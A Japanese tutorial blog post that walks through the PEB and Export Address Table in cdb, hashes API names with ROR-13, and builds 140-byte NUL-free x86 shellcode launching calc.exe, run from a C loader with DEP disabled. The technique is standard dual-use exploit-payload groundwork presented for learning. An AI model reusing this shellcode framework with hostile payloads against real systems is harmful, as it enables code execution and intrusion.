「Windowsで電卓を起動するアセンブリコードを書いてみる」では呼び出すライブラリ関数のアドレスをハードコードした形でアセンブリコードを書いたが、ASLRが有効なDLLについてはDLLが読み込まれるたびにベースアドレスが変化するため常には機能しない。 ここでは、Process Environment Block(PEB)とDLLのExport Address Table(EAT)からライブラリ関数のアドレスを特定し、電卓を起動するシェルコードを書いてみる。
環境
Windows 8.1 Pro 64 bit版、Visual Studio Community 2013 with Update 4
>systeminfo OS 名: Microsoft Windows 8.1 Pro OS バージョン: 6.3.9600 N/A ビルド 9600 OS ビルドの種類: Multiprocessor Free システムの種類: x64-based PC プロセッサ: 1 プロセッサインストール済みです。 [01]: Intel64 Family 6 Model 69 Stepping 1 GenuineIntel ~1596 Mhz >cl Microsoft (R) C/C++ Optimizing Compiler Version 18.00.31101 for x86 >ml Microsoft (R) Macro Assembler Version 12.00.31101.0 >dumpbin Microsoft (R) COFF/PE Dumper Version 12.00.31101.0 >cdb -version cdb version 6.3.9600.17298
PEBからDLLのベースアドレスを調べてみる
シェルコードを書く前に、まずcdbのもとで適当なプログラム(ここではメモ帳)を起動し、ライブラリ関数のアドレスを特定する仕組みを調べてみる。
>cdb notepad (snip) (4f48.539c): Break instruction exception - code 80000003 (first chance) eax=00000000 ebx=00000000 ecx=aea60000 edx=00000000 esi=7f81c000 edi=00000000 eip=7776e67f esp=0016f838 ebp=0016f864 iopl=0 nv up ei pl zr na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246 ntdll!LdrpDoDebuggerBreak+0x2b: 7776e67f cc int 3
Process Environment Block(PEB)はプロセスの各種情報を保持した構造体であり、Windowsカーネルやデバッガはこの構造体をもとにプロセスの実行状態を取得している。
また、Windowsではfsセグメントに現在のスレッドの状態を保持するThread Environment Block(TEB)あるいはThread Information Block(TIB)と呼ばれる構造体が配置されており、32bitモードではこの構造体のオフセット0x30にPEBのアドレスが入っている。
したがって、fs:30h
を参照することでPEBにアクセスすることができる。
dg(Display Selector)コマンドは、特定のセグメントセレクタに対応するセグメント情報を表示する。 また、dt(Display Type)コマンドを使うとプリセットされたWindowsの構造体を含む構造体定義を表示することができ、合わせてアドレスを与えることで各メンバに対応する内容も表示することができる。
0:000> dg fs P Si Gr Pr Lo Sel Base Limit Type l ze an es ng Flags ---- -------- -------- ---------- - -- -- -- -- -------- 0053 7f7ef000 00000fff Data RW Ac 3 Bg By P Nl 000004f3 0:000> dt _TEB 7f7ef000 ntdll!_TEB +0x000 NtTib : _NT_TIB +0x01c EnvironmentPointer : (null) +0x020 ClientId : _CLIENT_ID +0x028 ActiveRpcHandle : (null) +0x02c ThreadLocalStoragePointer : 0x003ea9b8 Void +0x030 ProcessEnvironmentBlock : 0x7f81c000 _PEB +0x034 LastErrorValue : 0 (snip) 0:000> ? poi(fs:30h) Evaluate expression: 2139209728 = 7f81c000
上の結果から、fs:30h
に構造体_PEB
のアドレスとして0x7f81c000が入っていることがわかる。
同様にdtコマンドを使ってPEBの内容を表示すると次のようになる。
0:000> dt _PEB poi(fs:30) -r2 ntdll!_PEB +0x000 InheritedAddressSpace : 0 '' +0x001 ReadImageFileExecOptions : 0 '' +0x002 BeingDebugged : 0x1 '' +0x003 BitField : 0x4 '' +0x003 ImageUsesLargePages : 0y0 +0x003 IsProtectedProcess : 0y0 +0x003 IsImageDynamicallyRelocated : 0y1 +0x003 SkipPatchingUser32Forwarders : 0y0 +0x003 IsPackagedProcess : 0y0 +0x003 IsAppContainer : 0y0 +0x003 IsProtectedProcessLight : 0y0 +0x003 SpareBits : 0y0 +0x004 Mutant : 0xffffffff Void +0x008 ImageBaseAddress : 0x01300000 Void +0x00c Ldr : 0x777b81e0 _PEB_LDR_DATA +0x000 Length : 0x30 +0x004 Initialized : 0x1 '' +0x008 SsHandle : (null) +0x00c InLoadOrderModuleList : _LIST_ENTRY [ 0x3e5f68 - 0x3eabf8 ] +0x000 Flink : 0x003e5f68 _LIST_ENTRY [ 0x3e5e68 - 0x777b81e c ] +0x004 Blink : 0x003eabf8 _LIST_ENTRY [ 0x777b81ec - 0x3ea7b 0 ] +0x014 InMemoryOrderModuleList : _LIST_ENTRY [ 0x3e5f70 - 0x3eac00 ] +0x000 Flink : 0x003e5f70 _LIST_ENTRY [ 0x3e5e70 - 0x777b81f 4 ] +0x004 Blink : 0x003eac00 _LIST_ENTRY [ 0x777b81f4 - 0x3ea7b 8 ] +0x01c InInitializationOrderModuleList : _LIST_ENTRY [ 0x3e5e78 - 0x3e6358 ] +0x000 Flink : 0x003e5e78 _LIST_ENTRY [ 0x3e65e0 - 0x777b81f c ] +0x004 Blink : 0x003e6358 _LIST_ENTRY [ 0x777b81fc - 0x3e65e 0 ] +0x024 EntryInProgress : (null) +0x028 ShutdownInProgress : 0 '' +0x02c ShutdownThreadId : (null)
上の結果のうち、Ldrの先にあるInLoadOrderModuleList、InMemoryOrderModuleList、InInitializationOrderModuleListがロードされているモジュールに関する構造体のリンクリストとなっている。 これらのリストにはLDR_DATA_TABLE_ENTRY構造体がそれぞれの名前の応じた順序で繋がれており、それぞれの構造体はモジュールごとに同一のアドレスに置かれている。 また、LDR_DATA_TABLE_ENTRY構造体の先頭には三つのリストにおけるFlink、Blinkの組が順に並んでおり、各リストは構造体中の対応するメンバを指す形で繋がっている。
WinDbg/CDBでは$t0
から$t19
までの20個の疑似レジスタ変数を使うことができる。
そこで、r(Registers)コマンドを使って$t0
にInMemoryOrderModuleListのアドレスをセットし、このリストに繋がれたLDR_DATA_TABLE_ENTRY構造体の内容を順に表示してみる。
0:000> r @$t0 = poi(poi(fs:30)+0c)+14 0:000> dt _LDR_DATA_TABLE_ENTRY poi(@$t0)-8 ntdll!_LDR_DATA_TABLE_ENTRY +0x000 InLoadOrderLinks : _LIST_ENTRY [ 0x3e5e68 - 0x777b81ec ] +0x008 InMemoryOrderLinks : _LIST_ENTRY [ 0x3e5e70 - 0x777b81f4 ] +0x010 InInitializationOrderLinks : _LIST_ENTRY [ 0x0 - 0x16f91c ] +0x010 InProgressLinks : _LIST_ENTRY [ 0x0 - 0x16f91c ] +0x018 DllBase : 0x01300000 Void +0x01c EntryPoint : 0x013064b2 Void +0x020 SizeOfImage : 0x38000 +0x024 FullDllName : _UNICODE_STRING "C:\WINDOWS\SysWOW64\notepad.exe" +0x02c BaseDllName : _UNICODE_STRING "notepad.exe" +0x034 FlagGroup : [4] "???" (snip) 0:000> dt _LDR_DATA_TABLE_ENTRY poi(poi(@$t0))-8 ntdll!_LDR_DATA_TABLE_ENTRY +0x000 InLoadOrderLinks : _LIST_ENTRY [ 0x3e6348 - 0x3e5f68 ] +0x008 InMemoryOrderLinks : _LIST_ENTRY [ 0x3e6350 - 0x3e5f70 ] +0x010 InInitializationOrderLinks : _LIST_ENTRY [ 0x3e65e0 - 0x777b81fc ] +0x010 InProgressLinks : _LIST_ENTRY [ 0x3e65e0 - 0x777b81fc ] +0x018 DllBase : 0x776c0000 Void +0x01c EntryPoint : (null) +0x020 SizeOfImage : 0x167000 +0x024 FullDllName : _UNICODE_STRING "C:\WINDOWS\SYSTEM32\ntdll.dll" +0x02c BaseDllName : _UNICODE_STRING "ntdll.dll" +0x034 FlagGroup : [4] "???" (snip) 0:000> dt _LDR_DATA_TABLE_ENTRY poi(poi(poi(@$t0)))-8 ntdll!_LDR_DATA_TABLE_ENTRY +0x000 InLoadOrderLinks : _LIST_ENTRY [ 0x3e65d0 - 0x3e5e68 ] +0x008 InMemoryOrderLinks : _LIST_ENTRY [ 0x3e65d8 - 0x3e5e70 ] +0x010 InInitializationOrderLinks : _LIST_ENTRY [ 0x777b81fc - 0x3e65e0 ] +0x010 InProgressLinks : _LIST_ENTRY [ 0x777b81fc - 0x3e65e0 ] +0x018 DllBase : 0x757c0000 Void +0x01c EntryPoint : 0x757d9210 Void +0x020 SizeOfImage : 0x140000 +0x024 FullDllName : _UNICODE_STRING "C:\WINDOWS\SYSTEM32\KERNEL32.DLL" +0x02c BaseDllName : _UNICODE_STRING "KERNEL32.DLL" +0x034 FlagGroup : [4] "???" (snip)
上の結果において、それぞれの構造体のFullDllName/BaseDllNameから、順にnotepad.exe(実行ファイル)、ntdll.dll、kernel32.dllに関する情報が格納されていることがわかる。 InMemoryOrderModuleListはメモリアドレス順にモジュールを並べたリストであるが、ASLRが有効なため実際のベースアドレスはそれぞれランダム化されている。
さらに、rコマンドでkernel32.dllのDllBaseを$t1
にセットし、そのアドレスにあるメモリの内容を表示してみると次のようになる。
0:000> r @$t1 = poi(poi(poi(poi(@$t0)))-8+18) 0:000> dc @$t1 757c0000 00905a4d 00000003 00000004 0000ffff MZ.............. 757c0010 000000b8 00000000 00000040 00000000 ........@....... 757c0020 00000000 00000000 00000000 00000000 ................ 757c0030 00000000 00000000 00000000 000000f0 ................ 757c0040 0eba1f0e cd09b400 4c01b821 685421cd ........!..L.!Th 757c0050 70207369 72676f72 63206d61 6f6e6e61 is program canno 757c0060 65622074 6e757220 206e6920 20534f44 t be run in DOS 757c0070 65646f6d 0a0d0d2e 00000024 00000000 mode....$....... 0:000> dc 757c0080 26211579 754f743d 754f743d 754f743d y.!&=tOu=tOu=tOu 757c0090 75848be0 754f7458 754e743d 754f70b2 ...uXtOu=tNu.pOu 757c00a0 75808be0 754f7436 75818be0 754f751d ...u6tOu...u.uOu 757c00b0 75858be0 754f743c 75828be0 754f7435 ...u<tOu...u5tOu 757c00c0 75988be0 754f7632 75868be0 754f743c ...u2vOu...u<tOu 757c00d0 75838be0 754f743c 68636952 754f743d ...u<tOuRich=tOu 757c00e0 00000000 00000000 00000000 00000000 ................ 757c00f0 00004550 0005014c 532a2e6c 00000000 PE..L...l.*S.... 0:000> dc 757c0100 00000000 210200e0 000b010b 00062000 .......!..... .. 757c0110 0009a000 00000000 00019210 00010000 ................ 757c0120 00080000 757c0000 00010000 00001000 ......|u........ 757c0130 00030006 00030006 00030006 00000000 ................ 757c0140 00140000 00001000 000fec4c 01400003 ........L.....@. 757c0150 00040000 00001000 00100000 00001000 ................ 757c0160 00000000 00000010 000e87d0 0000cbd0 ................ 757c0170 000f53a0 000003e8 00110000 00000520 .S.......... ...
上の結果より、先頭にMS-DOS EXE形式のファイルシグネチャであるMZ
、その少し先にMS-DOS EXE形式のファイルに一般に含まれるThis program cannot be run in DOS mode.
という文字列があることがわかる。
そして、そのさらに先にはPE形式のファイルシグネチャであるPE
があることがわかる。
また、lm(List Loaded Modules)コマンドでモジュール情報を調べてみると、表示される開始アドレスがそれぞれのモジュールのDllBaseと一致していることがわかる。
0:000> lm start end module name 01300000 01338000 notepad (deferred) (snip) 757c0000 75900000 KERNEL32 (deferred) (snip) 776c0000 77827000 ntdll (pdb symbols) c:\symbols\wntdll.pdb\E723 680C5F8F410F992345A1C74419DF2\wntdll.pdb
以上より、PEBから各モジュールのベースアドレスが得られることが確認できた。
DLLのEATからAPI関数のアドレスを調べてみる
PEBからkernel32.dllのベースアドレスが特定できたので、ここからさらにkernel32.dllが実装しているライブラリ関数のアドレスを調べてみる。
各ライブラリ関数のアドレスはエクスポート関数としてDLL中のEATに格納されている。
したがって、ライブラリ関数のアドレスを調べるにはこれを特定すればよい。
なお、ロードされた実行ファイル中では各アドレスが相対アドレスの形で入っているため、以降実際のアドレスを参照するにはDLLのベースアドレス$t1
を加える必要がある。
上で確認したように、MS-DOS EXE形式の実行ファイルの先頭にはDOSヘッダが入っており、このうちe_lfanew
メンバがPE形式で格納されたデータへのオフセットとなっている。
実際にdtコマンドでDOSヘッダ、PEヘッダを表示してみると次のようになる。
0:000> dt _IMAGE_DOS_HEADER @$t1 ntdll!_IMAGE_DOS_HEADER +0x000 e_magic : 0x5a4d +0x002 e_cblp : 0x90 +0x004 e_cp : 3 +0x006 e_crlc : 0 +0x008 e_cparhdr : 4 +0x00a e_minalloc : 0 +0x00c e_maxalloc : 0xffff +0x00e e_ss : 0 +0x010 e_sp : 0xb8 +0x012 e_csum : 0 +0x014 e_ip : 0 +0x016 e_cs : 0 +0x018 e_lfarlc : 0x40 +0x01a e_ovno : 0 +0x01c e_res : [4] 0 +0x024 e_oemid : 0 +0x026 e_oeminfo : 0 +0x028 e_res2 : [10] 0 +0x03c e_lfanew : 0n240 0:000> dt _IMAGE_NT_HEADERS @$t1+poi(@$t1+3c) -r2 ntdll!_IMAGE_NT_HEADERS +0x000 Signature : 0x4550 +0x004 FileHeader : _IMAGE_FILE_HEADER +0x000 Machine : 0x14c +0x002 NumberOfSections : 5 +0x004 TimeDateStamp : 0x532a2e6c +0x008 PointerToSymbolTable : 0 +0x00c NumberOfSymbols : 0 +0x010 SizeOfOptionalHeader : 0xe0 +0x012 Characteristics : 0x2102 +0x018 OptionalHeader : _IMAGE_OPTIONAL_HEADER +0x000 Magic : 0x10b +0x002 MajorLinkerVersion : 0xb '' +0x003 MinorLinkerVersion : 0 '' +0x004 SizeOfCode : 0x62000 +0x008 SizeOfInitializedData : 0x9a000 +0x00c SizeOfUninitializedData : 0 +0x010 AddressOfEntryPoint : 0x19210 +0x014 BaseOfCode : 0x10000 +0x018 BaseOfData : 0x80000 +0x01c ImageBase : 0x757c0000 +0x020 SectionAlignment : 0x10000 +0x024 FileAlignment : 0x1000 +0x028 MajorOperatingSystemVersion : 6 +0x02a MinorOperatingSystemVersion : 3 +0x02c MajorImageVersion : 6 +0x02e MinorImageVersion : 3 +0x030 MajorSubsystemVersion : 6 +0x032 MinorSubsystemVersion : 3 +0x034 Win32VersionValue : 0 +0x038 SizeOfImage : 0x140000 +0x03c SizeOfHeaders : 0x1000 +0x040 CheckSum : 0xfec4c +0x044 Subsystem : 3 +0x046 DllCharacteristics : 0x140 +0x048 SizeOfStackReserve : 0x40000 +0x04c SizeOfStackCommit : 0x1000 +0x050 SizeOfHeapReserve : 0x100000 +0x054 SizeOfHeapCommit : 0x1000 +0x058 LoaderFlags : 0 +0x05c NumberOfRvaAndSizes : 0x10 +0x060 DataDirectory : [16] _IMAGE_DATA_DIRECTORY +0x000 VirtualAddress : 0xe87d0 +0x004 Size : 0xcbd0
上の結果で表示されているように、PEヘッダにはFileHeaderとOptionalHeaderがある。 そして、OptionalHeaderの最後にあるDataDirectoryはIMAGE_DATA_DIRECTORY構造体16個の配列となっており、エクスポート関数に関する構造体(IMAGE_EXPORT_DIRECTORY)はその最初にある(参考)。
rコマンドでIMAGE_EXPORT_DIRECTORY構造体のアドレスを$t2
にセットし、その内容を表示してみる。
ただし、IMAGE_EXPORT_DIRECTORYについてはプリセットの構造体情報がないため、dtコマンドの代わりにdps(Display Pointers and Symbols)コマンドを使う。
dpsコマンドは指定したアドレスの先をポインタの配列とみなしたときの値を表示し、対応するシンボル名が存在する場合はそのシンボル名も合わせて表示する。
0:000> r @$t2 = @$t1+poi(@$t1+poi(@$t1+3c)+18+60) 0:000> dps @$t2 758a87d0 00000000 ; DWORD Characteristics 758a87d4 532a25cc ; DWORD TimeDateStamp 758a87d8 00000000 ; WORD MajorVersion; WORD MinorVersion 758a87dc 000ec48e ; DWORD Name 758a87e0 00000001 ; DWORD Base 758a87e4 0000060f ; DWORD NumberOfFunctions 758a87e8 0000060f ; DWORD NumberOfNames 758a87ec 000e87f8 ; DWORD AddressOfFunctions 758a87f0 000ea034 ; DWORD AddressOfNames 758a87f4 000eb870 ; DWORD AddressOfNameOrdinals 758a87f8 00019191 (snip)
今回の場合シンボル名は何も表示されないが、ここではMSDN内のドキュメントを参考に対応するメンバ名をコメントの形で補っている。
上の結果のうち、AddressOfNamesがストリングテーブル(文字列を指すポインタの配列)、AddressOfFunctionsが関数テーブルである。 また、AddressOfNameOrdinalsはAddressOfNamesのインデックスに対するAddressOfFunctionsのインデックスを格納した配列であり、それぞれのインデックスはWORD型(2バイト整数)となっている。 したがって、特定の名前の関数のアドレスを得るには、まずAddressOfNamesから調べたい関数名へのポインタが何番目にあるか調べた後、AddressOfNameOrdinalsでAddressOfFunctionsのインデックスに変換し、そのインデックスの位置にある関数アドレスを調べればよい。
実際に適当な位置にある名前の関数について調べてみると次のようになる。
$exp
は直前の評価結果を表す疑似レジスタ変数である。
# get 3rd entry of AddressOfNames 0:000> dc @$t1+000ea034 758aa034 000ec4ea 000ec523 000ec556 000ec565 ....#...V...e... 758aa044 000ec57a 000ec583 000ec58c 000ec59d z............... 758aa054 000ec5ae 000ec5f3 000ec619 000ec638 ............8... 758aa064 000ec657 000ec664 000ec677 000ec68f W...d...w....... 758aa074 000ec6aa 000ec6bf 000ec6dc 000ec71b ................ 758aa084 000ec75c 000ec76f 000ec77c 000ec796 \...o...|....... 758aa094 000ec7b4 000ec7f3 000ec80f 000ec82d ............-... 758aa0a4 000ec83d 000ec856 000ec864 000ec86f =...V...d...o... 0:000> da @$t1+poi($exp+4*2) 758ac556 "ActivateActCtx" # get 3rd entry of AddressOfNameOrdinals 0:000> dw @$t1+000eb870 758ab870 0002 0003 0004 0005 0006 0007 0008 0009 758ab880 000a 000b 000c 000d 000e 000f 0010 0011 758ab890 0012 0013 0014 0015 0016 0017 0018 0019 758ab8a0 001a 001b 001c 001d 001e 001f 0020 0021 758ab8b0 0022 0023 0024 0025 0026 0027 0028 0029 758ab8c0 002a 002b 002c 002d 002e 002f 0030 0031 758ab8d0 0032 0033 0034 0035 0036 0037 0038 0039 758ab8e0 003a 003b 003c 003d 003e 0000 003f 0040 0:000> dw $exp+2*2 L1 758ab874 0004 # get 3rd ordinal (4th) entry of AddressOfFunctions 0:000> dc @$t1+000e87f8 758a87f8 00019191 000ec4c8 000ec502 000ec538 ............8... 758a8808 0001a7a4 0001998d 00025baa 000119ed .........[...... 758a8818 000669f4 00066b3d 000ec5be 00043fe6 .i..=k.......?.. 758a8828 00039d8c 00039dd4 00042d88 0001c2eb .........-...... 758a8838 00042d93 0001d1e7 00042da4 0003f5c4 .-.......-...... 758a8848 000ec6f7 000ec737 00054faf 00027770 ....7....O..pw.. 758a8858 00042dc6 00042db5 000ec7ce 0004d43d .-...-......=... 758a8868 0004d453 00042dd7 0004c7e8 00027818 S....-.......x.. 0:000> u @$t1+poi($exp+4*4) KERNEL32!ActivateActCtxStub: 757da7a4 8bff mov edi,edi 757da7a6 55 push ebp 757da7a7 8bec mov ebp,esp 757da7a9 5d pop ebp 757da7aa ff25680a8475 jmp dword ptr [KERNEL32!_imp__ActivateActCtx (75840 a68)] 757da7b0 cc int 3 757da7b1 cc int 3 757da7b2 cc int 3
上の結果から、関数名ActivateActCtx
をもとにたどった関数アドレス0x757da7a4が実際に対応する関数のアドレスになっていることが確認できる。
PEBからモジュールのベースアドレスを取得し、そのモジュールのEATからライブラリ関数のアドレスを取得できることがわかったので、cdbはここで終了する。
0:000> q quit:
関数名のハッシュ化
ここまでの内容より、ライブラリ関数のアドレスを調べるにはまずPEBからライブラリのベースアドレスを特定し、そのDLLのIMAGE_EXPORT_DIRECTORYにおいてAddressOfNamesに含まれるポインタが指す文字列から一致するものを特定、そこから対応するAddressOfFunctions内の関数アドレスを取得すればよいことがわかる。 実際に文字列比較を行う場合、あらかじめメモリ上に対応する文字列を配置し比較していく必要があるが、シェルコードにおいてはバイト数短縮および終端のNUL文字除去のため、あらかじめ文字列を1ワードのハッシュ値に変換しておき、文字列の代わりにこのハッシュ値を比較することが多い。 ハッシュ値の計算法は衝突が少なければどのようなものでも機能するが、中でも1バイトずつ0xd(13)ビット右ローテートしながら足していくものがよく知られている。
実際に、引数に与えた文字列に対し上の方法によるハッシュ値を計算するプログラムを書くと次のようになる。
/* calchash.c */ #include <stdio.h> int main(int argc, char *argv[]) { int i; char *ptr; unsigned int hash; for (i=1; i<argc; i++) { hash = 0; ptr = argv[i]; while (*ptr != 0) { hash = _rorx_u32(hash, 0xd) + *ptr; ptr++; } printf("%s -> %08x\n", argv[i], hash); } return 0; }
ここで、_rorx_u32
はx86のror命令を実行する組み込み(Intrinsics)関数である。
コンパイルしてWinExec関数とExitProcess関数のハッシュ値を計算してみると、次のようになる。
>cl calchash.c Microsoft (R) C/C++ Optimizing Compiler Version 18.00.31101 for x86 Copyright (C) Microsoft Corporation. All rights reserved. calchash.c Microsoft (R) Incremental Linker Version 12.00.31101.0 Copyright (C) Microsoft Corporation. All rights reserved. /out:calchash.exe calchash.obj >calchash WinExec ExitProcess WinExec -> 0e8afe98 ExitProcess -> 73e2d87e
シェルコードを書いてみる
以上の内容をもとに、WinExec関数を用いて電卓を起動するシェルコードを書くと次のようになる。
; execcalc.asm .386 .model flat, stdcall .code start: cld jmp main api_call: assume fs:nothing pushad xor eax, eax mov eax, fs:[eax+30h] ; PEB mov eax, [eax+0ch] ; Ldr mov esi, [eax+14h] ; InMemoryOrderModuleList next_mod: lodsd ; next _LDR_DATA_TABLE_ENTRY mov [esp+1ch], eax ; store eax mov ebp, [eax+10h] ; DllBase mov eax, [ebp+3ch] ; IMAGE_DOS_HEADER.e_lfanew mov edx, [ebp+eax+78h] ; IMAGE_EXPORT_DIRECTORY add edx, ebp mov ecx, [edx+18h] ; NumberOfNames mov ebx, [edx+20h] ; AddressOfNames add ebx, ebp next_name: ; while (--NumberOfNames) jecxz name_not_found dec ecx mov esi, [ebx+ecx*4] ; ptr = AddressOfNames[NumberOfNames] add esi, ebp xor edi, edi ; hash = 0 xor eax, eax compute_hash_loop: ; while ((c = *(ptr++)) != 0) lodsb test al, al jz compare_hash ror edi, 0dh ; hash += ror(c, 0x0d) add edi, eax jmp compute_hash_loop compare_hash: cmp edi, [esp+24h] ; compare with api hash jnz next_name mov ebx, [edx+24h] ; AddressOfNameOrdinals add ebx, ebp mov cx, [ebx+ecx*2] ; y = AddressOfNameOrdinals[x] mov ebx, [edx+1ch] ; AddressOfFunctions add ebx, ebp mov eax, [ebx+ecx*4] ; AddressOfFunctions[y] add eax, ebp mov [esp+1ch], eax ; store eax popad pop ecx ; remove api hash from the stack pop edx push ecx jmp eax ; jump to api function name_not_found: mov esi, [esp+1ch] ; update eax jmp next_mod main: xor ebx, ebx push ebx push 636c6163h ; "calc" mov eax, esp push 1 push eax push 0e8afe98h ; WinExec call api_call push ebx push 73e2d87eh ; ExitProcess call api_call end start
上のコードでは、NUL文字除去のため次のような命令の置き換えを行っている。
mov eax, fs:[30h] (64 A1 30 00 00 00)
→xor eax, eax (33 C0) mov eax, fs:[eax+30h] (64 8B 40 30)
mov eax, [eax] (8B 00)
→xchg esi, eax (96) lodsd (AD)
ラベルapi_call
から続く処理は、スタックに余分にpushしておいたハッシュ値をもとに対応するAPI関数を呼び出すものである。
簡単に処理の内容をまとめると次のようになる。
- PEBからInMemoryOrderModuleListの最初にあるモジュールを得る
- モジュールのDllBaseからEXPORT_DIRECTORY_TABLEをたどり、AddressOfNamesにある各関数名についてハッシュ値比較を行う
- 一致するものが見つかれば、AddressOfFunctionsから対応する関数アドレスを取得し、リターンアドレスと関数引数の間にあるハッシュ値をスタックから抜き取った後ジャンプする
- 一致するものが見つからなければ、InMemoryOrderModuleListにおける次のモジュールをたどり、2に戻る
なお、同名の関数を実装した異なるDLLが同時にロードされていることはまれなため、基本的にはハッシュ値のみをもとに全ライブラリをたどればよい。 また、API関数呼び出しの際には、eax、ecx、edxレジスタの値が破壊される可能性があることに注意する。
コードをアセンブルして実行してみる。
>ml execcalc.asm /link /subsystem:console Microsoft (R) Macro Assembler Version 12.00.31101.0 Copyright (C) Microsoft Corporation. All rights reserved. Assembling: execcalc.asm Microsoft (R) Incremental Linker Version 12.00.31101.0 Copyright (C) Microsoft Corporation. All rights reserved. /OUT:execcalc.exe execcalc.obj /subsystem:console >execcalc.exe
電卓が起動することを確認した後、ディスアセンブルして対応するバイト列を表示し、これをC文字列に変換してみる。
>dumpbin /rawdata execcalc.exe Microsoft (R) COFF/PE Dumper Version 12.00.31101.0 Copyright (C) Microsoft Corporation. All rights reserved. Dump of file execcalc.exe File Type: EXECUTABLE IMAGE RAW DATA #1 00401000: FC EB 67 60 33 C0 64 8B 40 30 8B 40 0C 8B 70 14 üëg`3Àd.@0.@..p. 00401010: AD 89 44 24 1C 8B 68 10 8B 45 3C 8B 54 28 78 03 .D$..h..E<.T(x. 00401020: D5 8B 4A 18 8B 5A 20 03 DD E3 39 49 8B 34 8B 03 Õ.J..Z .Ýã9I.4.. 00401030: F5 33 FF 33 C0 AC 84 C0 74 07 C1 CF 0D 03 F8 EB õ3ÿ3À¬.Àt.ÁÏ..øë 00401040: F4 3B 7C 24 24 75 E2 8B 5A 24 03 DD 66 8B 0C 4B ô;|$$uâ.Z$.Ýf..K 00401050: 8B 5A 1C 03 DD 8B 04 8B 03 C5 89 44 24 1C 61 59 .Z..Ý....Å.D$.aY 00401060: 5A 51 FF E0 8B 74 24 1C EB A6 33 DB 53 68 63 61 ZQÿà.t$.ë¦3ÛShca 00401070: 6C 63 8B C4 6A 01 50 68 98 FE 8A 0E E8 82 FF FF lc.Äj.Ph.þ..è.ÿÿ 00401080: FF 53 68 7E D8 E2 73 E8 77 FF FF FF ÿSh~Øâsèwÿÿÿ Summary 1000 .text >dumpbin /rawdata execcalc.exe | powershell -ex remotesigned -f getsc.ps1 \xFC\xEB\x67\x60\x33\xC0\x64\x8B\x40\x30\x8B\x40\x0C\x8B\x70\x14\xAD\x89\x44\x24\x1C\x8B\x68\x10\x8B\x45\x3C\x8B\x54\x28\x78\x03\xD5\x8B\x4A\x18\x8B\x5A\x20\x03\xDD\xE3\x39\x49\x8B\x34\x8B\x03\xF5\x33\xFF\x33\xC0\xAC\x84\xC0\x74\x07\xC1\xCF\x0D\x03\xF8\xEB\xF4\x3B\x7C\x24\x24\x75\xE2\x8B\x5A\x24\x03\xDD\x66\x8B\x0C\x4B\x8B\x5A\x1C\x03\xDD\x8B\x04\x8B\x03\xC5\x89\x44\x24\x1C\x61\x59\x5A\x51\xFF\xE0\x8B\x74\x24\x1C\xEB\xA6\x33\xDB\x53\x68\x63\x61\x6C\x63\x8B\xC4\x6A\x01\x50\x68\x98\xFE\x8A\x0E\xE8\x82\xFF\xFF\xFF\x53\x68\x7E\xD8\xE2\x73\xE8\x77\xFF\xFF\xFF
シェルコードとして実行してみる
上のバイト列にジャンプするC言語コードを書いてみると次のようになる。
/* loader.c */ #include <stdio.h> #include <string.h> int main() { char code[] = "\xFC\xEB\x67\x60\x33\xC0\x64\x8B\x40\x30\x8B\x40\x0C\x8B\x70\x14\xAD\x89\x44\x24\x1C\x8B\x68\x10\x8B\x45\x3C\x8B\x54\x28\x78\x03\xD5\x8B\x4A\x18\x8B\x5A\x20\x03\xDD\xE3\x39\x49\x8B\x34\x8B\x03\xF5\x33\xFF\x33\xC0\xAC\x84\xC0\x74\x07\xC1\xCF\x0D\x03\xF8\xEB\xF4\x3B\x7C\x24\x24\x75\xE2\x8B\x5A\x24\x03\xDD\x66\x8B\x0C\x4B\x8B\x5A\x1C\x03\xDD\x8B\x04\x8B\x03\xC5\x89\x44\x24\x1C\x61\x59\x5A\x51\xFF\xE0\x8B\x74\x24\x1C\xEB\xA6\x33\xDB\x53\x68\x63\x61\x6C\x63\x8B\xC4\x6A\x01\x50\x68\x98\xFE\x8A\x0E\xE8\x82\xFF\xFF\xFF\x53\x68\x7E\xD8\xE2\x73\xE8\x77\xFF\xFF\xFF"; printf("strlen(code) = %d\n", strlen(code)); (*(void (*)())code)(); return 0; }
DEP無効でコンパイルし実行すると、実際に電卓が起動することが確認できる。
>cl loader.c /link /nxcompat:no Microsoft (R) C/C++ Optimizing Compiler Version 18.00.31101 for x86 Copyright (C) Microsoft Corporation. All rights reserved. loader.c Microsoft (R) Incremental Linker Version 12.00.31101.0 Copyright (C) Microsoft Corporation. All rights reserved. /out:loader.exe /nxcompat:no loader.obj >loader.exe strlen(code) = 140
このシェルコードの長さは140バイトである。
関連リンク
- Understanding Windows Shellcode
- History and Advances in Windows Shellcode (Phrack 62)
- Retrieving Kernel32's Base Address - Harmony Security : Blog
- Calling API Functions - Harmony Security : Blog
- SecurityXploded Blog – Using PEB to Get Base Address of Kernelbase.dll
- Dr. Fu's Security Blog: Malware Analysis Tutorial 7: Exploring Kernel Data Structure
- Dr. Fu's Security Blog: Malware Analysis Tutorial 8: PE Header and Export Table
- NTAPI Undocumented Functions
- 「リバースエンジニアリング入門」最新記事一覧 - ITmedia Keywords